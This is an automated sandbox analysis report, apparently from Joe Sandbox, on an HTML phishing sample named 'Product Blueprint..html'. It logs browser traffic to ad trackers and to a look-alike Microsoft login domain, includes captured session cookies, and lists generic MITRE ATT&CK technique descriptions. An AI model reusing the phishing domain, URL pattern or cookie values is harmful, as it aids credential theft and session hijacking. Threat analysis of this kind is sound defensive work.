Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:07 UTC	591	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KRTBCOOKIE_218=22978-Z1hL5gAAAMiWjgOJ&KRTB&23194-Z1hL5gAAAMiWjgOJ&KRTB&23209-Z1hL5gAAAMiWjgOJ&KRTB&23244-Z1hL5gAAAMiWjgOJ; PugT=1733839865
2024-12-10 14:11:08 UTC	664	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 14:11:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_218=22978-Z1hL5gAAAMiWjgOJ&KRTB&23194-Z1hL5gAAAMiWjgOJ&KRTB&23209-Z1hL5gAAAMiWjgOJ&KRTB&23244-Z1hL5gAAAMiWjgOJ; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 10-Mar-2025 14:11:07 GMT; path=/ Set-Cookie: PugT=1733839867; domain=pubmatic.com; SameSite=None; secure; expires=Thu, 09-Jan-2025 14:11:07 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-12-10 14:11:08 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50182	157.240.196.35	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:09 UTC	400	OUT	GET /fr/b.php?p=1531105787105294&e=Z1hL5gAAAMiWjgOJ&t=2592000&o=0 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:11:09 UTC	1774	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/gif report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7446785535895394500"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} Date: Tue, 10 Dec 2024 06:11:09 PST document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), browsing-topics=(self), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(self), clipboard-write=(self), compute-pressure=(), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(self), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(self), midi=(), otp-credentials=(), payment=(), picture-in-picture=(self), private-state-token-issuance=(), publickey-credentials-get=(self), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=(self);report-to="permissions_policy" cross-origin-resource-policy: cross-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: public Cache-Control: public, max-age=0 Expires: Tue, 10 Dec 2024 06:11:09 PST X-Content-Type-Options: nosniff
2024-12-10 14:11:09 UTC	661	IN	Data Raw: 72 65 70 6f 72 74 69 6e 67 2d 65 6e 64 70 6f 69 6e 74 73 3a 20 63 6f 6f 70 5f 72 65 70 6f 72 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 72 6f 77 73 65 72 5f 72 65 70 6f 72 74 69 6e 67 2f 63 6f 6f 70 2f 3f 6d 69 6e 69 6d 69 7a 65 3d 30 22 2c 20 64 65 66 61 75 6c 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 72 6f 77 73 65 72 5f 65 72 72 6f 72 5f 72 65 70 6f 72 74 73 2f 3f 64 65 76 69 63 65 5f 6c 65 76 65 6c 3d 75 6e 6b 6e 6f 77 6e 26 62 72 73 69 64 3d 37 34 34 36 37 38 35 35 33 35 38 39 35 33 39 34 35 30 30 22 2c 20 70 65 72 6d 69 73 73 69 6f 6e 73 5f 70 6f 6c 69 63 79 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 Data Ascii: reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7446785535895394500", permissions_policy="https://www.facebook.com/aja
2024-12-10 14:11:09 UTC	54	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50183	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:09 UTC	1195	OUT	GET /ibs:dpid=390122&dpuuid=wDRi3Y1XWudtyec5KKvj7ggue68 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:09 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:09 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: ZUVRrReUTbo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0a04df6f3.edge-irl1.demdex.com 10 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:09 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:09 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:09 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50245	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:34 UTC	2725	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAA [TRUNCATED]
2024-12-10 14:12:05 UTC	30	IN	HTTP/1.1 408 Request Timeout
2024-12-10 14:12:05 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-12-10 14:12:05 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-12-10 14:12:05 UTC	32	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 0d 0a Data Ascii: Content-Type: application/json
2024-12-10 14:12:05 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-12-10 14:12:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-10 14:12:05 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-12-10 14:12:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50315	34.200.203.57	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:12:06 UTC	2725	OUT	GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1 Host: login.mslookupauthenticator.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAA [TRUNCATED]

Target ID:	0
Start time:	09:09:03
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Product Blueprint..html"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:09:07
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:10:57
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.PrintCompositor --lang=en-US --service-sandbox-type=print_compositor --mojo-platform-channel-handle=6324 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:11:06
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.PrintingService --lang=en-US --service-sandbox-type=pdf_conversion --mojo-platform-channel-handle=6796 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Product Blueprint..html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Windows Analysis Report
Product Blueprint..html